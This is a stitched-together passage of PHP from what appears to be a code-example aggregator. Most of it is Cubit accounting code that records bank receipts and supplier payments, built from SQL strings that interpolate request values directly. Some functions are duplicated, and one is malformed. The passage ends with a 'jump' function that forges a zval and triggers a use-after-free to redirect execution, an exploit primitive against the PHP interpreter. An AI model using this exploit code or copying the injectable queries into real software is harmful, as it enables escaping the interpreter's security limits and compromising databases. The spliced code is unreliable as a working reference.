        $sql .= " VALUES('{$invb['invid']}','{$invb['invnum']}', '{$invb['deptid']}', '{$invb['cusnum']}', '{$invb['deptname']}', '{$invb['cusacc']}', '{$invb['cusname']}', '{$invb['surname']}', '{$invb['cusaddr']}', '{$invb['cusvatno']}', '{$invb['cordno']}', '{$invb['ordno']}', '{$invb['chrgvat']}', '{$invb['terms']}', '{$invb['traddisc']}', '{$invb['salespn']}', '{$invb['odate']}', '{$invb['delchrg']}', '{$invb['subtot']}', '{$invb['vat']}' , '{$invb['total']}', '0', '{$invb['age']}', '{$invb['comm']}', '{$invb['discount']}', '{$invb['delivery']}', 'y', 'y', '" . USER_NAME . "', '{$invb['docref']}','" . USER_DIV . "','{$invb['prd']}','{$invb['delvat']}')";
        $rslt = db_exec($sql) or errDie("Unable to insert invoice to the period database.", SELF);
        db_connect();
        $sql = "INSERT INTO movinv(invtype, invnum, prd, docref, div) VALUES('inv', '{$invb['invnum']}', '{$invb['prd']}', '{$invb['docref']}', '" . USER_DIV . "')";
        $rslt = db_exec($sql) or errDie("Unable to insert invoice to the period database.", SELF);
        # get selected stock in this invoice
        db_connect();
        $sql = "SELECT * FROM inv_items WHERE invid = '{$invb['invid']}' AND div = '" . USER_DIV . "'";
        $stkdRslt = db_exec($sql);
        while ($stkd = pg_fetch_array($stkdRslt)) {
            db_conn($invb['prd']);
            $stkd['vatcode'] += 0;
            $stkd['account'] += 0;
            # insert invoice items
            $sql = "INSERT INTO inv_items(invid, whid, stkid, qty, unitcost, amt, disc, discp, div,vatcode,account,description) VALUES\n\t\t\t('{$invb['invid']}', '{$stkd['whid']}', '{$stkd['stkid']}', '{$stkd['qty']}', '{$stkd['unitcost']}', '{$stkd['amt']}', '{$stkd['disc']}', '{$stkd['discp']}', '" . USER_DIV . "','{$stkd['vatcode']}','{$stkd['account']}','{$stkd['description']}')";
            $rslt = db_exec($sql) or errDie("Unable to insert invoice items to Cubit.", SELF);
        }
        db_connect();
        # Remove those invoices from running DB
        $sql = "DELETE FROM invoices WHERE invid = '{$invb['invid']}' AND div = '" . USER_DIV . "'";
        $delRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
        # Remove those invoice items from running DB
        $sql = "DELETE FROM inv_items WHERE invid = '{$invb['invid']}' AND div = '" . USER_DIV . "'";
        $delRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
    }
    pglib_transaction("COMMIT") or errDie("Unable to commit a database transaction.", SELF);
    /* end moving invoices */
    # status report
    $write = "\n        <table border=0 cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' width='100%'>\n        <tr><th>Bank Receipt</th></tr>\n        <tr class=datacell><td>Bank Receipt added to cash book.</td></tr>\n        </table>";
    # main table (layout with menu)
    $OUTPUT = "<center>\n        <table width = 90%>\n        <tr valign=top><td width=50%>{$write}</td>\n        <td align=center>\n        <table border=0 cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' width=80%>\n        <tr><th>Quick Links</th></tr>\n        <tr class='bg-odd'><td><a href='bank-pay-add.php'>Add Bank Payment</a></td></tr>\n        <tr class='bg-odd'><td><a href='bank-recpt-add.php'>Add Bank Receipt</a></td></tr>\n        <tr class='bg-odd'><td><a href='bank-recpt-inv.php'>Add Customer Payment</a></td></tr>\n\t\t<tr class='bg-odd'><td><a href='cashbook-view.php'>View Cash Book</a></td></tr>\n\t\t<script>document.write(getQuicklinkSpecial());</script>\n\t\t<tr class='bg-odd'><td><a href='../main.php'>Main Menu</a></td></tr>\n        </table>\n        </td></tr></table>";
    return $OUTPUT;
}
function write()
{
    extract($_POST);
    if (isset($cabtn_back)) {
        return alloc();
    }
    require_lib("validate");
    $v = new validate();
    $v->isOk($all, "num", 1, 1, "Invalid allocation.");
    $v->isOk($bankid, "num", 1, 30, "Invalid Bank Account.");
    $v->isOk($date, "date", 1, 14, "Invalid Date.");
    $v->isOk($descript, "string", 0, 255, "Invalid Description.");
    $v->isOk($reference, "string", 0, 50, "Invalid Reference Name/Number.");
    $v->isOk($cheqnum, "num", 0, 30, "Invalid Cheque number.");
    foreach ($cusids as $k => $cusid) {
        $v->isOk($out[$k], "float", 1, 40, "Invalid outstanding amount.");
        $v->isOk($amts[$k], "float", 1, 40, "Invalid amount.");
        $v->isOk($cusid, "num", 1, 40, "Invalid customer number.");
        if (isset($out1[$k])) {
            $v->isOk($out1[$k], "float", 0, 40, "Invalid paid amount(currant).");
            $v->isOk($out2[$k], "float", 0, 40, "Invalid paid amount(30).");
            $v->isOk($out3[$k], "float", 0, 40, "Invalid paid amount(60).");
            $v->isOk($out4[$k], "float", 0, 40, "Invalid paid amount(90).");
            $v->isOk($out5[$k], "float", 0, 40, "Invalid paid amount(120).");
        }
        if (isset($invids[$k])) {
            foreach ($invids[$k] as $key => $value) {
                $v->isOk($invids[$k][$key], "num", 1, 50, "Invalid Invoice No.");
                $v->isOk($paidamt[$k][$key], "float", 1, 40, "Invalid amount to be paid.");
            }
        }
    }
    if ($v->isError()) {
        return alloc($v->genErrors());
    }
    # CHECK IF THIS DATE IS IN THE BLOCKED RANGE
    $blocked_date_from = getCSetting("BLOCKED_FROM");
    $blocked_date_to = getCSetting("BLOCKED_TO");
    if (strtotime($date) >= strtotime($blocked_date_from) and strtotime($date) <= strtotime($blocked_date_to) and !user_is_admin(USER_ID)) {
        return "<li class='err'>Period Range Is Blocked. Only an administrator can process entries within this period.</li>";
    }
    /* get bank account id */
    if (($bank_acc = getbankaccid($bankid)) === false) {
        $sql = "SELECT accid FROM core.accounts WHERE accname='Cash on Hand'";
        $rslt = db_exec($sql);
        if (pg_num_rows($rslt) < 1) {
            if ($bankid == 0) {
                return "There is no 'Cash on Hand' account, there was one, but\n\t\t\t\t\t\t**s not there now, you must have deleted it, if you want\n\t\t\t\t\t\tto use cash functionality please create a 'Cash on Hand' account.";
            } else {
                return "Invalid bank acc.";
            }
        }
        $bank_acc = pg_fetch_result($rslt, 0);
    }
    $date_arr = explode("-", $date);
    $_SESSION["global_day"] = $date_arr[2];
    $_SESSION["global_month"] = $date_arr[1];
    $_SESSION["global_year"] = $date_arr[0];
    pglib_transaction("BEGIN");
    $cheqnum += 0;
    $rinvids = "";
    $amounts = "";
    $invprds = "";
    $rages = "";
    $deptacc = array();
    foreach ($cusids as $k => $cusid) {
        if (!isset($invids[$k])) {
            $invids[$k] = array();
        }
        if (!isset($paidamt[$k])) {
            $paidamt[$k] = array();
        }
        $vars = array("bankid" => $bankid, "bank_acc" => $bank_acc, "date" => $date, "descript" => $descript, "reference" => $reference, "cheqnum" => $cheqnum, "out1" => isset($out1[$k]) ? $out1[$k] : 0, "out2" => isset($out2[$k]) ? $out2[$k] : 0, "out3" => isset($out3[$k]) ? $out3[$k] : 0, "out4" => isset($out4[$k]) ? $out4[$k] : 0, "out5" => isset($out5[$k]) ? $out5[$k] : 0, "amt" => $amts[$k], "out" => $out[$k], "cusid" => $cusid, "invids" => $invids[$k], "paidamt" => $paidamt[$k], "itype" => isset($itype[$k]) ? $itype[$k] : array(), "ptype" => isset($ptype[$k]) ? $ptype[$k] : array(), "all" => $all);
        $x = write_cus($vars);
        $rinvids .= $x["rinvids"];
        $amounts .= $x["amounts"];
        $invprds .= $x["invprds"];
        $rages .= $x["rages"];
        $deptacc[$x["deptacc"]] = $x["deptacc"];
    }
    if (count($deptacc) == 1) {
        $ledgeracc_col = "accinv";
        $pfxhack = "";
    } else {
        $ledgeracc_col = "accids";
        $pfxhack = "|";
    }
    if (!isset($cus['cusname'])) {
        $cus['cusname'] = "";
    }
    if (!isset($cus['surname'])) {
        $cus['surname'] = "";
    }
    if (!isset($invidsers)) {
        $invidsers = "";
    }
    $cols = grp(m("bankid", $bankid), m("trantype", "deposit"), m("date", $date), m("name", "{$cus['cusname']} {$cus['surname']}"), m("descript", "Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}"), m("cheqnum", $cheqnum), m("amount", $amt), m("banked", "no"), m($ledgeracc_col, $pfxhack . implode("|", $deptacc)), m("cusnum", "-1"), m("rinvids", $rinvids), m("amounts", $amounts), m("invprds", $invprds), m("rages", $rages), m("multicusnum", implode(",", $cusids)), m("multicusamt", implode(",", $amts)), m("reference", $reference), m("div", USER_DIV));
    $dbobj = new dbUpdate("cashbook", "cubit", $cols);
    $dbobj->run(DB_INSERT);
    $dbobj->free();
    pglib_transaction("COMMIT");
    $OUT = "\n\t\t<center>\n\t    <table " . TMPL_tblDflts . ">\n\t\t    <tr>\n\t\t    \t<th>Bank Receipt</th>\n\t\t    </tr>\n\t\t    <tr class='" . bg_class() . "'>\n\t\t    \t<td>Bank Receipt added to cash book.</td>\n\t\t    </tr>\n\t    </table>\n\t    <br />" . mkQuickLinks(ql("bank-pay-add.php", "Add Bank Payment"), ql("bank-recpt-add.php", "Add Bank Receipt"), ql("bank-recpt-inv.php", "Add Customer Payment"), ql("cashbook-view.php", "View Cash Book"));
    return $OUT;
}
function write($_POST)
{
    # get vars
    extract($_POST);
    if (isset($back)) {
        unset($_POST["back"]);
        return alloc($_POST);
    }
    # validate input
    require_lib("validate");
    $v = new validate();
    $v->isOk($all, "num", 1, 1, "Invalid allocation.");
    $v->isOk($bankid, "num", 1, 30, "Invalid Bank Account.");
    $v->isOk($date, "date", 1, 14, "Invalid Date.");
    $v->isOk($out, "float", 1, 10, "Invalid out amount.");
    $v->isOk($descript, "string", 0, 255, "Invalid Description.");
    $v->isOk($reference, "string", 0, 50, "Invalid Reference Name/Number.");
    $v->isOk($cheqnum, "num", 0, 30, "Invalid Cheque number.");
    $v->isOk($amt, "float", 1, 10, "Invalid amount.");
    $v->isOk($supid, "num", 1, 10, "Invalid supplier number.");
    $v->isOk($out1, "float", 0, 10, "Invalid paid amount(current).");
    $v->isOk($out2, "float", 0, 10, "Invalid paid amount(30).");
    $v->isOk($out3, "float", 0, 10, "Invalid paid amount(60).");
    $v->isOk($out4, "float", 0, 10, "Invalid paid amount(90).");
    $v->isOk($out5, "float", 0, 10, "Invalid paid amount(120).");
    if (isset($invids)) {
        foreach ($invids as $key => $value) {
            $v->isOk($invids[$key], "num", 1, 50, "Invalid Invoice No.");
            $v->isOk($paidamt[$key], "float", 1, 20, "Invalid amount to be paid.");
        }
    }
    # display errors, if any
    if ($v->isError()) {
        $confirm = "";
        $errors = $v->getErrors();
        foreach ($errors as $e) {
            $confirm .= "<li class='err'>" . $e["msg"] . "</li>";
        }
        $confirm .= "<p><input type='button' onClick='JavaScript:history.back();' value='&laquo; Correct submission'>";
        return $confirm;
    }
    # get hook account number
    core_connect();
    $sql = "SELECT * FROM bankacc WHERE accid = '{$bankid}' AND div = '" . USER_DIV . "' AND accid!=0";
    $rslt = db_exec($sql) or errDie("Unable to retrieve bank account link from Cubit", SELF);
    # check if link exists
    if (pg_numrows($rslt) < 1) {
        $Sl = "SELECT * FROM accounts WHERE accname='Cash on Hand'";
        $Rg = db_exec($Sl);
        if (pg_num_rows($Rg) < 1) {
            if ($bankid == 0) {
                return "There is no 'Cash on Hand' account, there was one, but its not there now, you must have deleted it, if you want to use cash functionality please create a 'Cash on Hand' account.";
            } else {
                return "Invalid bank acc.";
            }
        }
        $add = pg_fetch_array($Rg);
        $bank['accnum'] = $add['accid'];
    } else {
        $bank = pg_fetch_array($rslt);
    }
    db_connect();
    # Supplier name
    $sql = "SELECT supid,supno,supname,deptid FROM suppliers WHERE supid = '{$supid}' AND div = '" . USER_DIV . "'";
    $supRslt = db_exec($sql);
    $sup = pg_fetch_array($supRslt);
    db_conn("exten");
    # get debtors control account
    $sql = "SELECT credacc FROM departments WHERE deptid ='{$sup['deptid']}' AND div = '" . USER_DIV . "'";
    $deptRslt = db_exec($sql);
    $dept = pg_fetch_array($deptRslt);
    # date format
    $sdate = $date;
    $cheqnum = 0 + $cheqnum;
    $pay = "";
    $accdate = $sdate;
    # Paid invoices
    $invidsers = "";
    $rinvids = "";
    $amounts = "";
    $invprds = "";
    db_conn("cubit");
    pglib_transaction("BEGIN");
    if ($all == 0) {
        $ids = "";
        $purids = "";
        $pamounts = "";
        $pdates = "";
        if (isset($invids)) {
            foreach ($invids as $key => $value) {
                #debt invoice info
                $sql = "SELECT id,pdate FROM suppurch WHERE purid ='{$invids[$key]}' AND div = '" . USER_DIV . "' ORDER BY balance LIMIT 1";
                $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                if (pg_numrows($invRslt) < 1) {
                    return "<li class='err'>Invalid Invoice Number.</li>";
                }
                $pur = pg_fetch_array($invRslt);
                # reduce the money that has been paid
                $sql = "UPDATE suppurch SET balance = (balance - '{$paidamt[$key]}'::numeric(13,2)) WHERE purid = '{$invids[$key]}' AND div = '" . USER_DIV . "' AND id='{$pur['id']}'";
                $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                $ids .= "|{$pur['id']}";
                $purids .= "|{$invids[$key]}";
                $pamounts .= "|{$paidamt[$key]}";
                $pdates .= "|{$pur['pdate']}";
            }
        }
        $samount = $amt - $amt * 2;
        if ($out > 0) {
            recordDT($out, $sup['supid'], $sdate);
        }
        $Sl = "INSERT INTO sup_stmnt(supid, amount, edate, descript,ref,cacc, div) VALUES('{$sup['supid']}','{$samount}','{$sdate}', 'Payment','{$cheqnum}','{$bank['accnum']}', '" . USER_DIV . "')";
        $Rs = db_exec($Sl) or errDie("Unable to insert statement record in Cubit.", SELF);
        db_connect();
        # Update the supplier (make balance less)
        $sql = "UPDATE suppliers SET balance = (balance - '{$amt}'::numeric(13,2)) WHERE supid = '{$sup['supid']}'";
        $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
        suppledger($sup['supid'], $bank['accnum'], $sdate, $cheqnum, "Payment for purchases", $amt, "d");
        db_connect();
        # Record the payment record
        $sql = "INSERT INTO cashbook(bankid, trantype, date, name, descript, cheqnum, amount, banked, accinv, supid, ids, purids, pamounts, pdates, reference, div) VALUES ('{$bankid}', 'withdrawal', '{$sdate}', '{$sup['supno']} - {$sup['supname']}', 'Supplier Payment to {$sup['supname']}', '{$cheqnum}', '{$amt}', 'no', '{$dept['credacc']}', '{$sup['supid']}', '{$ids}', '{$purids}', '{$pamounts}', '{$pdates}', '{$reference}', '" . USER_DIV . "')";
        $Rslt = db_exec($sql) or errDie("Unable to add bank payment to database.", SELF);
        $refnum = getrefnum($accdate);
        db_conn('core');
        $Sl = "SELECT * FROM bankacc WHERE accid='{$bankid}'";
        $Rx = db_exec($Sl) or errDie("Uanble to get bank acc.");
        if (pg_numrows($Rx) < 1) {
            return "Invalid bank acc.";
        }
        $link = pg_fetch_array($Rx);
        $link['accnum'] = $bank['accnum'];
        writetrans($dept['credacc'], $link['accnum'], $accdate, $refnum, $amt, "Supplier Payment to {$sup['supname']}");
        db_conn('cubit');
    }
    if ($all == 1) {
        $ids = "";
        $purids = "";
        $pamounts = "";
        $pdates = "";
        if (isset($invids)) {
            foreach ($invids as $key => $value) {
                # Get debt invoice info
                $sql = "SELECT id,pdate FROM suppurch WHERE purid ='{$invids[$key]}' AND div = '" . USER_DIV . "' ORDER BY balance LIMIT 1";
                $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                if (pg_numrows($invRslt) < 1) {
                    return "<li class='err'>Invalid Invoice Number.</li>";
                }
                $pur = pg_fetch_array($invRslt);
                # reduce the money that has been paid
                $sql = "UPDATE suppurch SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE purid = '{$invids[$key]}' AND div = '" . USER_DIV . "' AND id='{$pur['id']}'";
                $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                $ids .= "|{$pur['id']}";
                $purids .= "|{$invids[$key]}";
                $pamounts .= "|{$paidamt[$key]}";
                $pdates .= "|{$pur['pdate']}";
            }
        }
        $samount = $amt - $amt * 2;
        if ($out1 > 0) {
            recordDT($out1, $sup['supid'], $sdate);
        }
        if ($out2 > 0) {
            recordDT($out2, $sup['supid'], $sdate, "1");
        }
        if ($out3 > 0) {
            recordDT($out3, $sup['supid'], $sdate, "2");
        }
        if ($out4 > 0) {
            recordDT($out4, $sup['supid'], $sdate, "3");
        }
        if ($out5 > 0) {
            recordDT($out5, $sup['supid'], $sdate, "4");
        }
        $Sl = "INSERT INTO sup_stmnt(supid, amount, edate, descript,ref,cacc, div) VALUES('{$sup['supid']}','{$samount}','{$sdate}', 'Payment','{$cheqnum}','{$bank['accnum']}', '" . USER_DIV . "')";
        $Rs = db_exec($Sl) or errDie("Unable to insert statement record in Cubit.", SELF);
        # Update the supplier (make balance less)
        $sql = "UPDATE suppliers SET balance = (balance - '{$amt}'::numeric(13,2)) WHERE supid = '{$sup['supid']}' AND div = '" . USER_DIV . "'";
        $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
        # Record the payment record
        $sql = "INSERT INTO cashbook(bankid, trantype, date, name, descript, cheqnum, amount, banked, accinv, supid, ids, purids, pamounts, pdates, reference, div) VALUES ('{$bankid}', 'withdrawal', '{$sdate}', '{$sup['supno']} - {$sup['supname']}', 'Supplier Payment to {$sup['supname']}', '{$cheqnum}', '{$amt}', 'no', '{$dept['credacc']}', '{$sup['supid']}', '{$ids}', '{$purids}', '{$pamounts}', '{$pdates}', '{$reference}', '" . USER_DIV . "')";
        $Rslt = db_exec($sql) or errDie("Unable to add bank payment to database.", SELF);
        $refnum = getrefnum($accdate);
        db_conn('core');
        $Sl = "SELECT * FROM bankacc WHERE accid='{$bankid}'";
        $Rx = db_exec($Sl) or errDie("Uanble to get bank acc.");
        if (pg_numrows($Rx) < 1) {
            return "Invalid bank acc.";
        }
        $link = pg_fetch_array($Rx);
        $link['accnum'] = $bank['accnum'];
        writetrans($dept['credacc'], $link['accnum'], $accdate, $refnum, $amt, "Supplier Payment to {$sup['supname']}");
        db_conn('cubit');
        suppledger($sup['supid'], $bank['accnum'], $sdate, $cheqnum, "Payment to Supplier", $amt, "d");
        db_connect();
    }
    if ($all == 2) {
        $ids = "";
        $purids = "";
        $pamounts = "";
        $pdates = "";
        db_conn('cubit');
        # Update the supplier (make balance less)
        $sql = "UPDATE suppliers SET balance = (balance - '{$amt}'::numeric(13,2)) WHERE supid = '{$sup['supid']}' AND div = '" . USER_DIV . "'";
        $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
        # Begin updates
        if (isset($invids)) {
            foreach ($invids as $key => $value) {
                # Get debt invoice info
                $sql = "SELECT id,pdate FROM suppurch WHERE purid ='{$invids[$key]}' AND div = '" . USER_DIV . "' ORDER BY balance LIMIT 1";
                $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                if (pg_numrows($invRslt) < 1) {
                    return "<li class='err'>Invalid Invoice Number.</li>";
                }
                $pur = pg_fetch_array($invRslt);
                # reduce the money that has been paid
                $sql = "UPDATE suppurch SET balance = (balance - '{$paidamt[$key]}'::numeric(13,2)) WHERE purid = '{$invids[$key]}' AND div = '" . USER_DIV . "' AND id='{$pur['id']}'";
                $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                $samount = $paidamt[$key] - $paidamt[$key] * 2;
                $Sl = "INSERT INTO sup_stmnt(supid, amount, edate, descript,ref,cacc,div) VALUES('{$sup['supid']}','{$samount}','{$sdate}', 'Payment - Purchase: {$invids[$key]}','{$cheqnum}','{$bank['accnum']}', '" . USER_DIV . "')";
                $Rs = db_exec($Sl) or errDie("Unable to insert statement record in Cubit.", SELF);
                suppledger($sup['supid'], $bank['accnum'], $sdate, $invids[$key], "Payment for Purchase No. {$invids[$key]}", $paidamt[$key], "d");
                db_connect();
                # record the payment on the statement
                $ids .= "|{$pur['id']}";
                $purids .= "|{$invids[$key]}";
                $pamounts .= "|{$paidamt[$key]}";
                $pdates .= "|{$pur['pdate']}";
            }
        }
        $samount = $amt - $amt * 2;
        db_conn('cubit');
        # Record the payment record
        $sql = "INSERT INTO cashbook(bankid, trantype, date, name, descript, cheqnum, amount, banked, accinv, supid, ids, purids, pamounts, pdates, reference, div) VALUES ('{$bankid}', 'withdrawal', '{$sdate}', '{$sup['supno']} - {$sup['supname']}', 'Supplier Payment to {$sup['supname']}', '{$cheqnum}', '{$amt}', 'no', '{$dept['credacc']}', '{$sup['supid']}', '{$ids}', '{$purids}', '{$pamounts}', '{$pdates}', '{$reference}', '" . USER_DIV . "')";
        $Rslt = db_exec($sql) or errDie("Unable to add bank payment to database.", SELF);
        $refnum = getrefnum($accdate);
        db_conn('core');
        $Sl = "SELECT * FROM bankacc WHERE accid='{$bankid}'";
        $Rx = db_exec($Sl) or errDie("Uanble to get bank acc.");
        if (pg_numrows($Rx) < 1) {
            return "Invalid bank acc.";
        }
        $link = pg_fetch_array($Rx);
        $link['accnum'] = $bank['accnum'];
        writetrans($dept['credacc'], $link['accnum'], $accdate, $refnum, $amt, "Supplier Payment to {$sup['supname']}");
        db_conn('cubit');
    }
    db_conn('cubit');
    $Sl = "DELETE FROM suppurch WHERE balance=0::numeric(13,2)";
    $Rx = db_exec($Sl);
    pglib_transaction("COMMIT");
    # status report
    $write = "\n\t\t\t<table " . TMPL_tblDflts . " width='100%'>\n\t\t\t\t<tr>\n\t\t\t\t\t<th>Bank Payment</th>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='datacell'><td>Bank Payment added to cash book.</td></tr>\n\t\t\t</table>";
    # main table (layout with menu)
    $OUTPUT = "<center>\n\t<table width='90%'>\n\t\t<tr valign='top'>\n\t\t\t<td width='50%'>{$write}</td>\n\t\t\t<td align='center'>\n\t\t\t\t<table " . TMPL_tblDflts . " width='80%'>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>Quick Links</th>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td><a href='bank-pay-supp.php'>Add supplier payment</a></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td><a href='bank-pay-add.php'>Add Bank Payment</a></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td><a href='bank-recpt-add.php'>Add Bank Receipt</a></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td><a href='cashbook-view.php'>View Cash Book</a></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</table>\n\t\t\t</td>\n\t\t</tr>\n\t</table>";
    return $OUTPUT;
}
Пример #11
0
function jump($addr, $rax)
{
    $raxlen = strlen($rax);
    $al = shiftalloc(alloc(1024 + $raxlen + 16), 1024);
    memcpy($al, $rax, $raxlen);
    memcpy($al, ibuf(0, 8) . ibuf($addr, 8), 16);
    $zv = zval(0, $al['ptr'], 5, 0);
    uaf($zv);
}